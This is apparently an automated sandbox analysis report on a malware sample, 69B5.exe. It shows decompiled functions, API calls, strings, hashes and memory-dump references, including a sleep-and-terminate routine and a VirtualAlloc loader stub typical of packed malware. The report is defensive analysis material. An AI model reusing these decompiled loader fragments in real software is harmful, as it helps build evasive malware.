Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,shlwapi.dll), ref: 0040AD9D
FreeLibrary.KERNEL32(00000000,?,00403CB8,00000000), ref: 0040ADB5

Strings

shlwapi.dll, xrefs: 0040AD87

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$Load$AddressFreeProcmemsetwcscat
String ID: shlwapi.dll
API String ID: 4092907564-3792422438
Opcode ID: 60c0f151f26cb5c38cd65ac108f35652f4abbc6483df8549b5860e56d1e4938b
Instruction ID: 3ba04cc2888c968bb17b12a51753cff707eeab9003a5d350ca2caef87bad7666
Opcode Fuzzy Hash: 60c0f151f26cb5c38cd65ac108f35652f4abbc6483df8549b5860e56d1e4938b
Instruction Fuzzy Hash: E1D01235211111EBD7616B66AD44A9F7AA6DFC1351B060036F544F2191DB3C4846C669

Uniqueness

Uniqueness Score: -1.00%

Function 00406597, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406597(wchar_t* __esi) {
				wchar_t* _t2;
				wchar_t* _t6;

				_t6 = __esi;
				E00404AD9(__esi);
				_t2 = wcsrchr(__esi, 0x2e);
				if(_t2 != 0) {
					 *_t2 =  *_t2 & 0x00000000;
				}
				return wcscat(_t6, L"_lng.ini");
			}

0x00406597
0x00406598
0x004065a0
0x004065aa
0x004065ac
0x004065ac
0x004065bd

APIs

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

wcsrchr.MSVCRT ref: 004065A0
wcscat.MSVCRT ref: 004065B6

Strings

_lng.ini, xrefs: 004065B0

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleNamewcscatwcsrchr
String ID: _lng.ini
API String ID: 383090722-1948609170
Opcode ID: 3432a58373c8f6497560b18ec501466e1d989437fee4d639b0ed4d8698fe302d
Instruction ID: e4456dc4ef972d75cd366ed24565615e7e819105f92635e6590d4ece6e8d8120
Opcode Fuzzy Hash: 3432a58373c8f6497560b18ec501466e1d989437fee4d639b0ed4d8698fe302d
Instruction Fuzzy Hash: 16C01292682620A4E2223322AC03B4F1248CF62324F21407BF906381C7EFBD826180EE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC52, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AC52() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;

				if( *0x4101c4 == 0) {
					_t1 = E00405436(L"shell32.dll");
					 *0x4101c4 = _t1;
					if(_t1 != 0) {
						_t2 = GetProcAddress(_t1, "SHGetSpecialFolderPathW");
						 *0x4101c0 = _t2;
						return _t2;
					}
				}
				return _t1;
			}

0x0040ac59
0x0040ac60
0x0040ac68
0x0040ac6d
0x0040ac75
0x0040ac7b
0x00000000
0x0040ac7b
0x0040ac6d
0x0040ac80

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0040AC75

Strings

shell32.dll, xrefs: 0040AC5B
SHGetSpecialFolderPathW, xrefs: 0040AC6F

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$AddressProcmemsetwcscat
String ID: SHGetSpecialFolderPathW$shell32.dll
API String ID: 946536540-880857682
Opcode ID: c6b2f9cbd74a5c44be84662768ba9687afe1719f9bd5d931826811f56c49482b
Instruction ID: 297d67d15b42b64e279660486abf15c243c4c6a8dcafd005a32ae5f28444c9d4
Opcode Fuzzy Hash: c6b2f9cbd74a5c44be84662768ba9687afe1719f9bd5d931826811f56c49482b
Instruction Fuzzy Hash: 9AD0C9B0D8A301ABE7106BB0AF05B523AA4B704301F12417BF800B12E0DBBE90888A1E

Uniqueness

Uniqueness Score: -1.00%

Function 00406670, Relevance: 5.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00406670(char** __esi, void* __eflags) {
				char* _t30;
				char** _t39;

				_t39 = __esi;
				 *__esi = "cf@";
				__esi[0xb8] = 0;
				_t30 = E00404FA4(0x338, __esi);
				_push(0x14);
				__esi[0xcb] = 0;
				__esi[0xa6] = 0;
				__esi[0xb9] = 0;
				__esi[0xba] = 0xfff;
				__esi[8] = 0;
				__esi[1] = 0;
				__esi[0xb7] = 1;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[2] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[3] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[4] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_t39[5] = _t30;
				return _t39;
			}

0x00406670
0x0040667a
0x00406680
0x00406686
0x0040668b
0x0040668d
0x00406693
0x00406699
0x0040669f
0x004066a9
0x004066ac
0x004066af
0x004066b9
0x004066c7
0x004066d9
0x004066c9
0x004066c9
0x004066cc
0x004066cf
0x004066d2
0x004066d5
0x004066d5
0x004066db
0x004066dd
0x004066e0
0x004066e8
0x004066fa
0x004066ea
0x004066ea
0x004066ed
0x004066f0
0x004066f3
0x004066f6
0x004066f6
0x004066fc
0x004066fe
0x00406701
0x00406709
0x0040671b
0x0040670b
0x0040670b
0x0040670e
0x00406711
0x00406714
0x00406717
0x00406717
0x0040671d
0x0040671f
0x00406722
0x0040672a
0x0040673c
0x0040672c
0x0040672c
0x0040672f
0x00406732
0x00406735
0x00406738
0x00406738
0x0040673f
0x00406745

APIs

Part of subcall function 00404FA4: memset.MSVCRT ref: 00404FB2

??2@YAPAXI@Z.MSVCRT ref: 004066B9
??2@YAPAXI@Z.MSVCRT ref: 004066E0
??2@YAPAXI@Z.MSVCRT ref: 00406701
??2@YAPAXI@Z.MSVCRT ref: 00406722

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$memset
String ID:
API String ID: 1860491036-0
Opcode ID: e85a19cc904d935af36f35088f158f19d60a259a6de7382aef0aa8ca398aac1e
Instruction ID: f950f85206354bd8a0b3bb5dce35e971dba3beadb745d31d99e8bf3535aee89b
Opcode Fuzzy Hash: e85a19cc904d935af36f35088f158f19d60a259a6de7382aef0aa8ca398aac1e
Instruction Fuzzy Hash: F121D4B0A007008FD7219F2AC448956FBE8FF90314B2689BFD15ADB2B1D7B89441DF18

Uniqueness

Uniqueness Score: -1.00%

Function 004054DF, Relevance: 5.1, APIs: 4, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054DF(signed int* __eax, void* __ecx, wchar_t* _a4) {
				int _v8;
				signed int _v12;
				void* __edi;
				int _t32;
				intOrPtr _t33;
				intOrPtr _t36;
				signed int _t48;
				signed int _t58;
				signed int _t59;
				void** _t62;
				void** _t63;
				signed int* _t66;

				_t66 = __eax;
				_t32 = wcslen(_a4);
				_t48 =  *(_t66 + 4);
				_t58 = _t48 + _t32;
				_v12 = _t58;
				_t59 = _t58 + 1;
				_v8 = _t32;
				_t33 =  *((intOrPtr*)(_t66 + 0x14));
				 *(_t66 + 4) = _t59;
				_t62 = _t66 + 0x10;
				if(_t59 != 0xffffffff) {
					E00404951(_t66, _t59, _t62, 2, _t33);
				} else {
					free( *_t62);
				}
				_t60 =  *(_t66 + 0x1c);
				_t36 =  *((intOrPtr*)(_t66 + 0x18));
				_t63 = _t66 + 0xc;
				if( *(_t66 + 0x1c) != 0xffffffff) {
					E00404951(_t66 + 8, _t60, _t63, 4, _t36);
				} else {
					free( *_t63);
				}
				memcpy( *(_t66 + 0x10) + _t48 * 2, _a4, _v8 + _v8);
				 *((short*)( *(_t66 + 0x10) + _v12 * 2)) =  *( *(_t66 + 0x10) + _v12 * 2) & 0x00000000;
				 *( *_t63 +  *(_t66 + 0x1c) * 4) = _t48;
				 *(_t66 + 0x1c) =  *(_t66 + 0x1c) + 1;
				_t30 =  *(_t66 + 0x1c) - 1; // -1
				return _t30;
			}

0x004054ea
0x004054ec
0x004054f1
0x004054f4
0x004054f7
0x004054fa
0x004054fe
0x00405501
0x00405505
0x00405508
0x0040550b
0x0040551b
0x0040550d
0x0040550f
0x0040550f
0x00405521
0x00405527
0x0040552b
0x0040552e
0x0040553f
0x00405530
0x00405532
0x00405532
0x00405556
0x00405561
0x0040556e
0x00405571
0x00405578
0x0040557e

APIs

wcslen.MSVCRT ref: 004054EC
free.MSVCRT(?,00000001,?,00000000,?,?,?,00405830,?,00000000,?,00000000), ref: 0040550F

Part of subcall function 00404951: malloc.MSVCRT ref: 0040496D
Part of subcall function 00404951: memcpy.MSVCRT ref: 00404985
Part of subcall function 00404951: free.MSVCRT(00000000,00000000,?,004055BF,00000002,?,00000000,?,004057E1,00000000,?,00000000), ref: 0040498E

free.MSVCRT(?,00000001,?,00000000,?,?,?,00405830,?,00000000,?,00000000), ref: 00405532
memcpy.MSVCRT ref: 00405556

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: free$memcpy$mallocwcslen
String ID:
API String ID: 726966127-0
Opcode ID: 5c7b7bb3817ea86daae365c80c5e036228049141d00745b32d160c1d254800f2
Instruction ID: a1978c74b5bce8e8bf6bff77aa8c6c4d26791a9d8288a70caf523018dd8727ee
Opcode Fuzzy Hash: 5c7b7bb3817ea86daae365c80c5e036228049141d00745b32d160c1d254800f2
Instruction Fuzzy Hash: 14216FB1500704EFC720DF68D881C9BB7F5EF483247208A6EF456A7691D735B9158B98

Uniqueness

Uniqueness Score: -1.00%

Function 00405ADF, Relevance: 5.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00405ADF() {
				void* _t25;
				signed int _t27;
				signed int _t29;
				signed int _t31;
				signed int _t33;
				signed int _t50;
				signed int _t52;
				signed int _t54;
				signed int _t56;
				intOrPtr _t60;

				_t60 =  *0x41c470;
				if(_t60 == 0) {
					_t50 = 2;
					 *0x41c470 = 0x8000;
					_t27 = 0x8000 * _t50;
					 *0x41c474 = 0x100;
					 *0x41c478 = 0x1000;
					_push( ~(0 | _t60 > 0x00000000) | _t27);
					L0040B26C();
					 *0x41c458 = _t27;
					_t52 = 4;
					_t29 =  *0x41c474 * _t52;
					_push( ~(0 | _t60 > 0x00000000) | _t29);
					L0040B26C();
					 *0x41c460 = _t29;
					_t54 = 4;
					_t31 =  *0x41c474 * _t54;
					_push( ~(0 | _t60 > 0x00000000) | _t31);
					L0040B26C();
					 *0x41c464 = _t31;
					_t56 = 2;
					_t33 =  *0x41c478 * _t56;
					_push( ~(0 | _t60 > 0x00000000) | _t33);
					L0040B26C();
					 *0x41c45c = _t33;
					return _t33;
				}
				return _t25;
			}

0x00405adf
0x00405ae6
0x00405af5
0x00405af6
0x00405afb
0x00405b00
0x00405b0a
0x00405b18
0x00405b19
0x00405b1e
0x00405b2c
0x00405b2d
0x00405b36
0x00405b37
0x00405b3c
0x00405b4a
0x00405b4b
0x00405b54
0x00405b55
0x00405b5a
0x00405b68
0x00405b69
0x00405b72
0x00405b73
0x00405b7b
0x00000000
0x00405b7b
0x00405b80

APIs

??2@YAPAXI@Z.MSVCRT ref: 00405B19
??2@YAPAXI@Z.MSVCRT ref: 00405B37
??2@YAPAXI@Z.MSVCRT ref: 00405B55
??2@YAPAXI@Z.MSVCRT ref: 00405B73

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: fe94db315f44a6ad13eaa6f5e90a6aac049872e3421695f41c948c22f86c7b92
Instruction ID: f2da1691ca32ceef4ebb7ffb039160a3052a1a0853e807cf512b268ff05fa3b0
Opcode Fuzzy Hash: fe94db315f44a6ad13eaa6f5e90a6aac049872e3421695f41c948c22f86c7b92
Instruction Fuzzy Hash: 850121B12C63005EE758DB38EDAB77A36A4E748754F00913EA146CE1F5EB7454408E4C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 69B5.exe PID: 6140 Parent PID: 3292 69B5.exeCOMMON

Executed Functions

Function 0043C2B0, Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 213COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0043C334
_puts.LIBCMTD ref: 0043C362
__wrename.LIBCMTD ref: 0043C36E
_labs.LIBCMTD ref: 0043C385
_abort.LIBCMTD ref: 0043C38D

Strings

fam, xrefs: 0043C31A
\H, xrefs: 0043C4A0
";, xrefs: 0043C56E
&, xrefs: 0043C625

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __wrename_abort_labs_memset_puts
String ID: ";$&$fam$\H
API String ID: 178998121-668408818
Opcode ID: d320602513468b9daec0e2a33137912cd023bdbd410ddd7b0479800b6afd53e1
Instruction ID: 14a691aeeed437188a786f1e5f59782dd636b71946bb2863e7e3e13d8f731d2d
Opcode Fuzzy Hash: d320602513468b9daec0e2a33137912cd023bdbd410ddd7b0479800b6afd53e1
Instruction Fuzzy Hash: BD9193B0D40228DBDB24AF10DD857A976F4FB18309F50D4EAE18976180CF785A85DF9E

Uniqueness

Uniqueness Score: -1.00%

Function 00401915, Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00401915(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __edi;
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t18;
				void* _t19;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr* _t22;

				_t24 = __eflags;
				_push(0x194d);
				_t8 =  *_t21;
				_t22 = _t21 + 4;
				E00401253(_t8, 0x62, _t20, __eflags);
				_t16 = _a4;
				Sleep(0x1388);
				_t11 = E00401493(_t19, _t24, _t16, _a8, _a12,  &_v8); // executed
				_t25 = _t11;
				if(_t11 != 0) {
					E00401569(_t19, _t25, __fp0, _t16, _t11, _v8, _a16); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x194d);
				_t13 =  *_t22;
				_t18 = 0x62;
				return E00401253(_t13, _t18, _t20, _t25);
			}

0x00401915
0x00401924
0x00401929
0x0040192c
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 00000021.00000002.448726736.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 099dff6a8b47e7fe4885d49024a4f47d2f41acee3e9435d795ba4fc460fb35a3
Instruction ID: 9cae78af175e11272ae8b90b88a5797a908d329cf9c4202fe054e397abf3680d
Opcode Fuzzy Hash: 099dff6a8b47e7fe4885d49024a4f47d2f41acee3e9435d795ba4fc460fb35a3
Instruction Fuzzy Hash: 290171B5608204FBDB00AAD49C62EBA3658AF41764F204037F653790F1D57D9A12E7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040199B, Relevance: 3.0, APIs: 2, Instructions: 49
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E0040199B(void* __eax, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t11;
				void* _t14;
				intOrPtr _t16;
				intOrPtr* _t19;
				void* _t22;
				void* _t23;
				void* _t29;
				intOrPtr* _t31;
				intOrPtr* _t32;

				_t35 = __eflags;
				_t24 = __edi;
				if(__eflags > 0) {
					_push(0x194d);
					_t11 =  *_t31;
					_t32 = _t31 + 4;
					E00401253(_t11, 0x62, __edi, __eflags);
					_t19 =  *((intOrPtr*)(_t29 + 8));
					Sleep(0x1388);
					_t14 = E00401493(_t23, _t35, _t19,  *((intOrPtr*)(_t29 + 0xc)),  *((intOrPtr*)(_t29 + 0x10)), _t29 - 4); // executed
					_t36 = _t14;
					if(_t14 != 0) {
						E00401569(_t23, _t36, __fp0, _t19, _t14,  *((intOrPtr*)(_t29 - 4)),  *((intOrPtr*)(_t29 + 0x14))); // executed
					}
					 *_t19(0xffffffff, 0); // executed
					_push(0x194d);
					_t16 =  *_t32;
				} else {
					asm("invalid");
				}
				_t22 = 0x62;
				return E00401253(_t16, _t22, _t24, _t36);
			}

0x0040199b
0x0040199b
0x0040199c
0x00401924
0x00401929
0x0040192c
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x0040199e
0x0040199e
0x0040199e
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 00000021.00000002.448726736.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: ddbf13ae58c3712050d1dd293fcab7450f3712c013f606edc40a067e0a00e59e
Instruction ID: 4a89add6957e9532169c10ce73e929fc861f160d3915196474d8a8d24bfad6b0
Opcode Fuzzy Hash: ddbf13ae58c3712050d1dd293fcab7450f3712c013f606edc40a067e0a00e59e
Instruction Fuzzy Hash: 37014FB6608204EBDB00AED49C62EBD3254AF51764F204037F653B91F1C67D8A12E75B

Uniqueness

Uniqueness Score: -1.00%

Function 00401921, Relevance: 3.0, APIs: 2, Instructions: 47
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401921(signed int __eax, void* __edx, void* __edi, void* __esi, void* __fp0) {
				intOrPtr _t10;
				void* _t13;
				intOrPtr _t15;
				intOrPtr* _t18;
				void* _t21;
				void* _t27;
				intOrPtr* _t29;
				intOrPtr* _t30;
				signed int _t33;

				_t23 = __edi;
				_t22 = __edx;
				_push(__edx);
				_t33 = __eax & 0x194d681a;
				_push(0x194d);
				_t10 =  *_t29;
				_t30 = _t29 + 4;
				E00401253(_t10, 0x62, __edi, _t33);
				_t18 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t13 = E00401493(_t22, _t33, _t18,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t34 = _t13;
				if(_t13 != 0) {
					E00401569(_t22, _t34, __fp0, _t18, _t13,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_push(0x194d);
				_t15 =  *_t30;
				_t21 = 0x62;
				return E00401253(_t15, _t21, _t23, _t34);
			}

0x00401921
0x00401921
0x00401921
0x00401922
0x00401924
0x00401929
0x0040192c
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 00000021.00000002.448726736.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 29d52baf40a7baa6c93bb609f09647ddc9935efa1fd0e42c695563234ded56f7
Instruction ID: 4241600ca719e298d23384214460eb3e43b14b0f63518ababf685df4b463c681
Opcode Fuzzy Hash: 29d52baf40a7baa6c93bb609f09647ddc9935efa1fd0e42c695563234ded56f7
Instruction Fuzzy Hash: C7014FB6608204EBDB00AED48C61EA937689F51754F244177F653B90F1C63D8A12E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401931, Relevance: 3.0, APIs: 2, Instructions: 47
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00401931(void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t19;
				void* _t20;
				void* _t25;
				intOrPtr* _t27;
				intOrPtr* _t28;

				_t31 = __eflags;
				_t21 = __edi;
				_push(0xffffffb8);
				_push(0x194d);
				_t8 =  *_t27;
				_t28 = _t27 + 4;
				E00401253(_t8, 0x62, __edi, __eflags);
				_t16 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_t11 = E00401493(_t20, _t31, _t16,  *((intOrPtr*)(_t25 + 0xc)),  *((intOrPtr*)(_t25 + 0x10)), _t25 - 4); // executed
				_t32 = _t11;
				if(_t11 != 0) {
					E00401569(_t20, _t32, __fp0, _t16, _t11,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x194d);
				_t13 =  *_t28;
				_t19 = 0x62;
				return E00401253(_t13, _t19, _t21, _t32);
			}

0x00401931
0x00401931
0x00401931
0x00401924
0x00401929
0x0040192c
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 00000021.00000002.448726736.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 290d49b121409e3a0cc0d193eeaeb1b86e0553ed2989638274f96de6a98fd60c
Instruction ID: bebbd478cd730a8f72ad37019eb049644fa0a7b144af864f48702eee3110bb92
Opcode Fuzzy Hash: 290d49b121409e3a0cc0d193eeaeb1b86e0553ed2989638274f96de6a98fd60c
Instruction Fuzzy Hash: AD014FB5608204EBDB00AED48C61EB932549B51764F204137F653790F1C67D8912E75B

Uniqueness

Uniqueness Score: -1.00%

Function 00401938, Relevance: 3.0, APIs: 2, Instructions: 41
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401938(void* __eax, void* __edi, void* __esi, void* __fp0) {
				void* _t13;
				intOrPtr _t15;
				intOrPtr* _t18;
				void* _t21;
				void* _t22;
				void* _t27;
				intOrPtr* _t29;
				intOrPtr _t32;

				_t23 = __edi;
				asm("sahf");
				_t1 = __eax - 0x6a;
				 *_t1 =  *((intOrPtr*)(__eax - 0x6a)) + __eax;
				_t32 =  *_t1;
				E00401253(__eax, 0x62, __edi, _t32);
				_t18 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t13 = E00401493(_t22, _t32, _t18,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t33 = _t13;
				if(_t13 != 0) {
					E00401569(_t22, _t33, __fp0, _t18, _t13,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_push(0x194d);
				_t15 =  *_t29;
				_t21 = 0x62;
				return E00401253(_t15, _t21, _t23, _t33);
			}

0x00401938
0x00401938
0x00401939
0x00401939
0x00401939
0x00401948
0x0040194d
0x00401955
0x00401963
0x00401968
0x0040196a
0x00401974
0x00401974
0x0040197d
0x00401987
0x0040198c
0x004019a2
0x004019b3

APIs

Sleep.KERNELBASE(00001388), ref: 00401955
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040197D

Memory Dump Source

Source File: 00000021.00000002.448726736.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: f1dfc82b2edf1998ce6fad828befbe7efb67e09aa529f2b59ac16e092b7cd58e
Instruction ID: 904472b47aca40ab56d2e87b1b4c82bc9686e4ff5f111b9f5b0aaa98af47cc4e
Opcode Fuzzy Hash: f1dfc82b2edf1998ce6fad828befbe7efb67e09aa529f2b59ac16e092b7cd58e
Instruction Fuzzy Hash: 7BF044B5604204EBDB00AFE49C91EAD3358AF45754F204177F616B90E1C67D8912E76B

Uniqueness

Uniqueness Score: -1.00%

Function 02C0003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02C0024D

Strings

cess, xrefs: 02C0018D
kernel32.dll, xrefs: 02C0008F, 02C00095

Memory Dump Source

Source File: 00000021.00000002.449589247.0000000002C00000.00000040.00000001.sdmp, Offset: 02C00000, based on PE: false

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: a062aff5a416be2b1ba5fe65bdf16cfa4b35df0929ee4e98d41b0ca41b478acd
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 88526A74A01229DFDB64CF58C984BACBBB1BF09304F1580D9E94DAB391DB30AA85DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00422607, Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0042262A
__heap_alloc_base.LIBCMTD ref: 004227B7
_memset.LIBCMT ref: 00422905
_memset.LIBCMT ref: 00422922
_memset.LIBCMT ref: 0042293D

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID:
API String ID: 4254127243-0
Opcode ID: 096c6ecd426c4b8041f7d4933173c679904c7f8c4a39e08292eb70ce9b57baf3
Instruction ID: fa8d71b9ab438755ec3adb94729b1fe8715c3128fc3993f35d5ccfbdf6e05664
Opcode Fuzzy Hash: 096c6ecd426c4b8041f7d4933173c679904c7f8c4a39e08292eb70ce9b57baf3
Instruction Fuzzy Hash: 89B1BE74A00219EFDB14CF55EA85BAA77F0FB48314F60912AE804AB3D1C7B9AD44CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043B890, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

